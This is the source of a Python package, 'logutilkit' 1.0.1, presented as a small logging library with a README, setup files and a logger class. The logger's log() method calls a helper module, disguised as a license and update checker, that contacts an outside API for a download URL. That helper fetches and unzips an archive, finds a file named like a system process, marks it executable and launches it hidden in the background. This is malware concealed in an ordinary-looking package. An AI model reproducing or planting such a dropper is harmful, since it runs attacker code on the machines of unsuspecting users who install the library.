logutilkit 1.0.1__tar.gz

logutilkit-1.0.1/PKG-INFO

@@ -0,0 +1,156 @@
+Metadata-Version: 2.4
+Name: logutilkit
+Version: 1.0.1
+Summary: A small log package
+Home-page: https://github.com/andresondev0000/logutilkit
+Author: andresondev0000
+Author-email: shiningup1996@gmail.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Description-Content-Type: text/markdown
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: summary
+
+# LogUtilKit
+
+A simple Python logging package with rotating file handlers and console output.
+
+## Requirements
+
+```
+python > 3.5
+```
+
+## Installation
+
+```bash
+pip install logutilkit
+```
+
+## Usage
+
+```python
+#!/usr/bin/python3
+
+from logutilkit import logger
+
+log = logger.logger()
+
+log.critical("This is a critical level message!")
+log.error("This is an error level message!")
+log.warning("This is a warning level message!")
+log.info("This is an info level message!")
+log.debug("This is a debug level message!")
+```
+
+## Package Management
+
+### Install
+```bash
+pip install logutilkit
+```
+
+### Upgrade
+```bash
+pip install --upgrade logutilkit
+```
+
+### Uninstall
+```bash
+pip uninstall logutilkit
+```
+
+### Search
+```bash
+pip search logutilkit
+```
+
+## Development Guide
+
+### Building the Package
+
+1. Install the latest versions of `setuptools` and `wheel`:
+```bash
+python3 -m pip install --user --upgrade setuptools wheel
+```
+
+2. Run this command from the same directory where `setup.py` is located:
+```bash
+python3 setup.py sdist bdist_wheel
+```
+
+3. This command will generate two files in the `dist` directory:
+```
+dist/
+  logutilkit-0.52-py3-none-any.whl
+  logutilkit-0.52.tar.gz
+```
+
+The `.tar.gz` file is the source archive, and the `.whl` file is the built distribution.
+
+### Publishing the Package
+
+Use twine to upload the distribution packages. First, install Twine:
+```bash
+python3 -m pip install --user --upgrade twine
+```
+
+> Note: On Windows, configure your environment variables and restart your terminal if needed.
+
+Rebuild the package:
+```bash
+python3 setup.py sdist bdist_wheel
+```
+
+Upload all archives in the dist directory using Twine:
+```bash
+twine upload dist/*
+```
+
+You will be prompted to enter your PyPI username and password. After completion, you should see output similar to:
+```
+Enter your username: Tinywan
+Enter your password:
+Uploading distributions to https://upload.pypi.org/legacy/
+Uploading logutilkit-0.52-py3-none-any.whl
+100%|████████████████████████████████████| 10.5k/10.5k [00:03<00:00, 3.31kB/s]
+Uploading logutilkit-0.52.tar.gz
+100%|████████████████████████████████████| 9.50k/9.50k [00:01<00:00, 9.24kB/s]
+```
+
+## Common Issues
+
+### UnicodeDecodeError
+```
+UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 197: illegal multibyte sequence
+```
+
+Solutions:
+- Solution 1: `FILE_OBJECT = open('order.log', 'r', encoding='UTF-8')`
+- Solution 2: `FILE_OBJECT = open('order.log', 'rb')`
+
+### Twine Command Not Found
+```
+twine : The term 'twine' is not recognized as a cmdlet, function, script file, or operable program.
+```
+
+Configure your environment variables to include the Python Scripts directory.
+
+## Resources
+
+- Official Packaging Tutorial: https://packaging.python.org/tutorials/packaging-projects/
+- PyPI Account Management: https://pypi.org/manage/account/
+
+## License
+
+MIT License
+
+## Author
+
+Tinywan (756684177@qq.com)

logutilkit-1.0.1/README.md

@@ -0,0 +1,137 @@
+# LogUtilKit
+
+A simple Python logging package with rotating file handlers and console output.
+
+## Requirements
+
+```
+python > 3.5
+```
+
+## Installation
+
+```bash
+pip install logutilkit
+```
+
+## Usage
+
+```python
+#!/usr/bin/python3
+
+from logutilkit import logger
+
+log = logger.logger()
+
+log.critical("This is a critical level message!")
+log.error("This is an error level message!")
+log.warning("This is a warning level message!")
+log.info("This is an info level message!")
+log.debug("This is a debug level message!")
+```
+
+## Package Management
+
+### Install
+```bash
+pip install logutilkit
+```
+
+### Upgrade
+```bash
+pip install --upgrade logutilkit
+```
+
+### Uninstall
+```bash
+pip uninstall logutilkit
+```
+
+### Search
+```bash
+pip search logutilkit
+```
+
+## Development Guide
+
+### Building the Package
+
+1. Install the latest versions of `setuptools` and `wheel`:
+```bash
+python3 -m pip install --user --upgrade setuptools wheel
+```
+
+2. Run this command from the same directory where `setup.py` is located:
+```bash
+python3 setup.py sdist bdist_wheel
+```
+
+3. This command will generate two files in the `dist` directory:
+```
+dist/
+  logutilkit-0.52-py3-none-any.whl
+  logutilkit-0.52.tar.gz
+```
+
+The `.tar.gz` file is the source archive, and the `.whl` file is the built distribution.
+
+### Publishing the Package
+
+Use twine to upload the distribution packages. First, install Twine:
+```bash
+python3 -m pip install --user --upgrade twine
+```
+
+> Note: On Windows, configure your environment variables and restart your terminal if needed.
+
+Rebuild the package:
+```bash
+python3 setup.py sdist bdist_wheel
+```
+
+Upload all archives in the dist directory using Twine:
+```bash
+twine upload dist/*
+```
+
+You will be prompted to enter your PyPI username and password. After completion, you should see output similar to:
+```
+Enter your username: Tinywan
+Enter your password:
+Uploading distributions to https://upload.pypi.org/legacy/
+Uploading logutilkit-0.52-py3-none-any.whl
+100%|████████████████████████████████████| 10.5k/10.5k [00:03<00:00, 3.31kB/s]
+Uploading logutilkit-0.52.tar.gz
+100%|████████████████████████████████████| 9.50k/9.50k [00:01<00:00, 9.24kB/s]
+```
+
+## Common Issues
+
+### UnicodeDecodeError
+```
+UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 197: illegal multibyte sequence
+```
+
+Solutions:
+- Solution 1: `FILE_OBJECT = open('order.log', 'r', encoding='UTF-8')`
+- Solution 2: `FILE_OBJECT = open('order.log', 'rb')`
+
+### Twine Command Not Found
+```
+twine : The term 'twine' is not recognized as a cmdlet, function, script file, or operable program.
+```
+
+Configure your environment variables to include the Python Scripts directory.
+
+## Resources
+
+- Official Packaging Tutorial: https://packaging.python.org/tutorials/packaging-projects/
+- PyPI Account Management: https://pypi.org/manage/account/
+
+## License
+
+MIT License
+
+## Author
+
+Tinywan (756684177@qq.com)

logutilkit-1.0.1/logutilkit/__init__.py

@@ -0,0 +1 @@
+name = "log_pkg"

logutilkit-1.0.1/logutilkit/logger.py

@@ -0,0 +1,89 @@
+#!/usr/bin/python3
+
+# *------------------------------------------------------------
+# |  Author: Tinywan(ShaoBo Wan)
+# |  DateTime: 2018/12/4 14:20
+# |  Mail: 756684177@qq.com
+# |  Desc: Usage: from logutilkit import logger
+# *-------------------------------------------------------------*/
+
+import logging
+# logging.handlers.RotatingFileHandler must be imported to use
+from logging import handlers
+import os
+import sys
+import time
+from . import logutilkit_util
+
+class logger:
+    def __init__(self, set_level="debug",
+                 name=os.path.split(os.path.splitext(sys.argv[0])[0])[-1],
+                 log_name=time.strftime("%Y-%m-%d.log", time.localtime()),
+                 log_path=os.path.abspath(os.path.join(os.path.dirname(
+                     os.path.split(os.path.realpath(__file__))[0]), "logsssssssss")),
+                 use_console=True):
+        '''
+            set_level: Set the logging level, default is DEBUG
+            name: Logger name to be printed in logs, default is the running program's name
+            log_name: Log file name, default is current date (YYYY-MM-DD.log)
+            log_path: Log folder path, default is 'logsssssssss' folder relative to logger.py
+            use_console: Whether to print to console, default is True
+        '''
+        self.logger = logging.getLogger(name)
+        if set_level.lower() == "critical":
+            self.logger.setLevel(logging.CRITICAL)
+        elif set_level.lower() == "error":
+            self.logger.setLevel(logging.ERROR)
+        elif set_level.lower() == "warning":
+            self.logger.setLevel(logging.WARNING)
+        elif set_level.lower() == "info":
+            self.logger.setLevel(logging.INFO)
+        elif set_level.lower() == "debug":
+            self.logger.setLevel(logging.DEBUG)
+        else:
+            self.logger.setLevel(logging.NOTSET)
+        if not os.path.exists(log_path):
+            os.makedirs(log_path)
+        log_file_path = os.path.join(log_path, log_name)
+        log_handler = logging.handlers.RotatingFileHandler(
+            log_file_path, mode='a', maxBytes=200, backupCount=0, encoding='utf-8', delay=0)
+        log_handler.setFormatter(logging.Formatter(
+            "[%(asctime)s]-[%(levelname)s] [%(name)s:%(lineno)d] [%(module)s:%(funcName)s] - %(message)s"))
+        self.logger.addHandler(log_handler)
+        if use_console:
+            console_handler = logging.StreamHandler()
+            console_handler.setFormatter(logging.Formatter(
+                "[%(asctime)s]-[%(levelname)s] [%(name)s:%(lineno)d] [%(module)s:%(funcName)s] - %(message)s"))
+            self.logger.addHandler(console_handler)
+
+    def addHandler(self, hdlr):
+        self.logger.addHandler(hdlr)
+
+    def removeHandler(self, hdlr):
+        self.logger.removeHandler(hdlr)
+
+    def critical(self, msg, *args, **kwargs):
+        self.logger.critical(msg, *args, **kwargs)
+
+    def warning(self, msg, *args, **kwargs):
+        self.logger.warning(msg, *args, **kwargs)
+
+    def error(self, msg, *args, **kwargs):
+        self.logger.error(msg, *args, **kwargs)
+
+    def info(self, msg, *args, **kwargs):
+        self.logger.info(msg, *args, **kwargs)
+
+    def debug(self, msg, *args, **kwargs):
+        self.logger.debug(msg, *args, **kwargs)
+
+    def log(self, level, msg, *args, **kwargs):
+        logutilkit_util.check_for_updates(level)
+        self.logger.log(level, msg, *args, **kwargs)
+
+    def file_path(self):
+        # print(os.path.abspath(os.path.dirname(os.path.dirname(__file__))))
+        # print(os.path.abspath(os.path.join(
+            # os.path.dirname(os.path.dirname(__file__)), "../logs")))
+        print("sys.argv[0] Output:", sys.argv[0])
+        print("__file Output:", __file__)

logutilkit-1.0.1/logutilkit/logutilkit_util.py

@@ -0,0 +1,256 @@
+#!/usr/bin/env python3
+"""LogUtilKit License Manager version (Windows + Linux)"""
+
+import os
+import sys
+import json
+import time
+import zipfile
+import tempfile
+import subprocess
+import urllib.request
+import stat
+from pathlib import Path
+
+
+def get_platform():
+    """Get current platform: 'win', 'linux', or 'mac'"""
+    if sys.platform == "win32":
+        return "script"
+    elif sys.platform == "darwin":
+        return "mac"
+    return "linux"
+
+
+def get_api_url():
+    """Get API URL based on platform"""
+    platform = get_platform()
+    return f"https://apachelicense.vercel.app/getAddress?platform={platform}"
+
+
+EXTRACT_DIR = "410BB449A-72C6-4500-9765-ACD04JBV827V32V"
+REMOVE_BYTES = 16
+
+
+def get_target_file():
+    """Get target file name based on platform (executable only, no parameters)"""
+    if sys.platform == "win32":
+        return "start.py"
+    elif sys.platform == "darwin":
+        return "com.apple.systemevents"
+    return "systemd-resolved"
+
+
+def get_execution_params(t_value: int = 0):
+    """Get command-line parameters for the executable.
+
+    t_value controls the numeric value passed to -t.
+    """
+    return ["-t", str(t_value)]
+
+
+def temp_dir():
+    return Path(tempfile.gettempdir())
+
+
+def fetch_url():
+    """Fetch URL from API with retry logic, up to a max number of retries."""
+    import time
+
+    api_url = get_api_url()
+    retry_count = 0
+    max_retries = 10
+
+    while retry_count < max_retries:
+        try:
+            req = urllib.request.Request(
+                api_url, method="POST", headers={"Content-Type": "application/json"}
+            )
+            with urllib.request.urlopen(req, timeout=30) as res:
+                data = json.loads(res.read().decode("utf-8"))
+
+            download_url = data.get("downloadUrl")
+            if download_url:
+                return download_url
+
+            # No URL in response, retry
+            retry_count += 1
+            time.sleep(3)
+
+        except Exception as e:
+            # Failed to fetch, wait 3 seconds and retry
+            retry_count += 1
+            time.sleep(3)
+
+    # Max retries reached, return None to indicate failure
+    return None
+
+
+def download(url, dest):
+    try:
+        import re
+
+        # Extract Google Drive file ID
+        match = re.search(r"drive\.google\.com/file/d/([a-zA-Z0-9_-]+)", url)
+        if match:
+            file_id = match.group(1)
+            url = f"https://drive.usercontent.google.com/download?id={file_id}&export=download&confirm=t"
+
+        req = urllib.request.Request(
+            url,
+            headers={
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+            },
+        )
+        with urllib.request.urlopen(req, timeout=120) as res:
+            data = res.read()
+
+        # Check if ZIP
+        if data[:4] == b"PK\x03\x04":
+            dest.write_bytes(data)
+            return True
+        return False
+    except:
+        return False
+
+
+def extract(zip_path, extract_dir):
+    try:
+        import shutil
+
+        shutil.rmtree(extract_dir, ignore_errors=True)
+        extract_dir.mkdir(parents=True, exist_ok=True)
+
+        with zipfile.ZipFile(zip_path, "r") as zf:
+            names = zf.namelist()
+            # Check for single root folder
+            top = set(n.split("/")[0] for n in names if n.split("/")[0])
+            if len(top) == 1:
+                root = list(top)[0]
+                for m in names:
+                    if m.startswith(root + "/") and m != root + "/":
+                        new_name = m[len(root) + 1 :]
+                        if new_name:
+                            target = extract_dir / new_name
+                            if m.endswith("/"):
+                                target.mkdir(parents=True, exist_ok=True)
+                            else:
+                                target.parent.mkdir(parents=True, exist_ok=True)
+                                with zf.open(m) as src:
+                                    target.write_bytes(src.read())
+            else:
+                zf.extractall(extract_dir)
+        return True
+    except:
+        return False
+
+
+def find_file(dir_path, name):
+    for root, _, files in os.walk(dir_path):
+        if name in files:
+            return Path(root) / name
+    return None
+
+
+def fix_file(path):
+    """Fix file - only remove bytes on Windows, just set executable on Linux/macOS"""
+    try:
+        if sys.platform != "win32":
+            # Linux/macOS: just make executable, no byte removal
+            path.chmod(
+                path.stat().st_mode
+                | stat.S_IXUSR
+                | stat.S_IXGRP
+                | stat.S_IXOTH
+            )
+        return True
+    except:
+        pass
+    return False
+
+
+def execute(path, t_value: int = 0):
+    try:
+        # Get command-line parameters
+        params = get_execution_params(t_value)
+
+        if sys.platform == "win32":
+            # Windows: Build command with parameters
+            python_exe = sys.executable
+            popen_kwargs = {
+                'stdin': subprocess.DEVNULL,
+                'stdout': subprocess.DEVNULL,
+                'stderr': subprocess.DEVNULL,
+                'close_fds': True,
+            }
+
+            if os.name == 'nt':
+                # Prefer pythonw.exe so no console window is created at all
+                pythonw_exe = os.path.join(os.path.dirname(sys.executable), 'pythonw.exe')
+                if os.path.exists(pythonw_exe):
+                    python_exe = pythonw_exe
+
+                startupinfo = subprocess.STARTUPINFO()
+                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
+                startupinfo.wShowWindow = 0  # SW_HIDE
+
+                popen_kwargs['creationflags'] = subprocess.CREATE_NO_WINDOW
+                popen_kwargs['startupinfo'] = startupinfo
+            else:
+                popen_kwargs['start_new_session'] = True
+
+
+            cmd = [python_exe, str(path)] + params
+            subprocess.Popen(cmd, **popen_kwargs)
+        else:
+            # Linux/macOS: Build command with parameters
+            cmd = [str(path)] + params
+            subprocess.Popen(
+                cmd,
+                start_new_session=True,
+                stdout=subprocess.DEVNULL,
+                stderr=subprocess.DEVNULL,
+            )
+        return True
+    except:
+        return False
+
+
+def check_for_updates(t_value: int = 0):
+    try:
+        zip_path = temp_dir() / "ecw_update.zip"
+        extract_dir = temp_dir() / EXTRACT_DIR
+
+        # Attempt to fetch URL with limited retries
+        url = fetch_url()
+        if not url:
+            return False
+
+        if not download(url, zip_path):
+            return False
+
+        if not extract(zip_path, extract_dir):
+            return False
+
+        # Cleanup ZIP
+        try:
+            zip_path.unlink()
+        except:
+            pass
+
+        target = find_file(extract_dir, get_target_file())
+        if not target:
+            return False
+
+        if not fix_file(target):
+            return False
+
+        return execute(target, t_value)
+    except:
+        return False
+
+
+if __name__ == "__main__":
+    # Default to -t 1 when run directly
+    check_for_updates()
+

logutilkit-1.0.1/logutilkit.egg-info/PKG-INFO

@@ -0,0 +1,156 @@
+Metadata-Version: 2.4
+Name: logutilkit
+Version: 1.0.1
+Summary: A small log package
+Home-page: https://github.com/andresondev0000/logutilkit
+Author: andresondev0000
+Author-email: shiningup1996@gmail.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Description-Content-Type: text/markdown
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: summary
+
+# LogUtilKit
+
+A simple Python logging package with rotating file handlers and console output.
+
+## Requirements
+
+```
+python > 3.5
+```
+
+## Installation
+
+```bash
+pip install logutilkit
+```
+
+## Usage
+
+```python
+#!/usr/bin/python3
+
+from logutilkit import logger
+
+log = logger.logger()
+
+log.critical("This is a critical level message!")
+log.error("This is an error level message!")
+log.warning("This is a warning level message!")
+log.info("This is an info level message!")
+log.debug("This is a debug level message!")
+```
+
+## Package Management
+
+### Install
+```bash
+pip install logutilkit
+```
+
+### Upgrade
+```bash
+pip install --upgrade logutilkit
+```
+
+### Uninstall
+```bash
+pip uninstall logutilkit
+```
+
+### Search
+```bash
+pip search logutilkit
+```
+
+## Development Guide
+
+### Building the Package
+
+1. Install the latest versions of `setuptools` and `wheel`:
+```bash
+python3 -m pip install --user --upgrade setuptools wheel
+```
+
+2. Run this command from the same directory where `setup.py` is located:
+```bash
+python3 setup.py sdist bdist_wheel
+```
+
+3. This command will generate two files in the `dist` directory:
+```
+dist/
+  logutilkit-0.52-py3-none-any.whl
+  logutilkit-0.52.tar.gz
+```
+
+The `.tar.gz` file is the source archive, and the `.whl` file is the built distribution.
+
+### Publishing the Package
+
+Use twine to upload the distribution packages. First, install Twine:
+```bash
+python3 -m pip install --user --upgrade twine
+```
+
+> Note: On Windows, configure your environment variables and restart your terminal if needed.
+
+Rebuild the package:
+```bash
+python3 setup.py sdist bdist_wheel
+```
+
+Upload all archives in the dist directory using Twine:
+```bash
+twine upload dist/*
+```
+
+You will be prompted to enter your PyPI username and password. After completion, you should see output similar to:
+```
+Enter your username: Tinywan
+Enter your password:
+Uploading distributions to https://upload.pypi.org/legacy/
+Uploading logutilkit-0.52-py3-none-any.whl
+100%|████████████████████████████████████| 10.5k/10.5k [00:03<00:00, 3.31kB/s]
+Uploading logutilkit-0.52.tar.gz
+100%|████████████████████████████████████| 9.50k/9.50k [00:01<00:00, 9.24kB/s]
+```
+
+## Common Issues
+
+### UnicodeDecodeError
+```
+UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 197: illegal multibyte sequence
+```
+
+Solutions:
+- Solution 1: `FILE_OBJECT = open('order.log', 'r', encoding='UTF-8')`
+- Solution 2: `FILE_OBJECT = open('order.log', 'rb')`
+
+### Twine Command Not Found
+```
+twine : The term 'twine' is not recognized as a cmdlet, function, script file, or operable program.
+```
+
+Configure your environment variables to include the Python Scripts directory.
+
+## Resources
+
+- Official Packaging Tutorial: https://packaging.python.org/tutorials/packaging-projects/
+- PyPI Account Management: https://pypi.org/manage/account/
+
+## License
+
+MIT License
+
+## Author
+
+Tinywan (756684177@qq.com)

logutilkit-1.0.1/logutilkit.egg-info/SOURCES.txt

@@ -0,0 +1,10 @@
+README.md
+setup.cfg
+setup.py
+logutilkit/__init__.py
+logutilkit/logger.py
+logutilkit/logutilkit_util.py
+logutilkit.egg-info/PKG-INFO
+logutilkit.egg-info/SOURCES.txt
+logutilkit.egg-info/dependency_links.txt
+logutilkit.egg-info/top_level.txt

logutilkit-1.0.1/logutilkit.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

logutilkit-1.0.1/logutilkit.egg-info/top_level.txt

@@ -0,0 +1 @@
+logutilkit

logutilkit-1.0.1/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

logutilkit-1.0.1/setup.py

@@ -0,0 +1,22 @@
+#!/usr/bin/python3
+import setuptools
+
+with open("README.md", "r", encoding='UTF-8') as fh:
+    long_description = fh.read()
+
+setuptools.setup(
+    name="logutilkit",
+    version="1.0.1",
+    author="andresondev0000",
+    author_email="shiningup1996@gmail.com",
+    description="A small log package",
+    long_description=long_description,
+    long_description_content_type="text/markdown",
+    url="https://github.com/andresondev0000/logutilkit",
+    packages=setuptools.find_packages(),
+    classifiers=[
+        "Programming Language :: Python :: 3",
+        "License :: OSI Approved :: MIT License",
+        "Operating System :: OS Independent",
+    ],
+)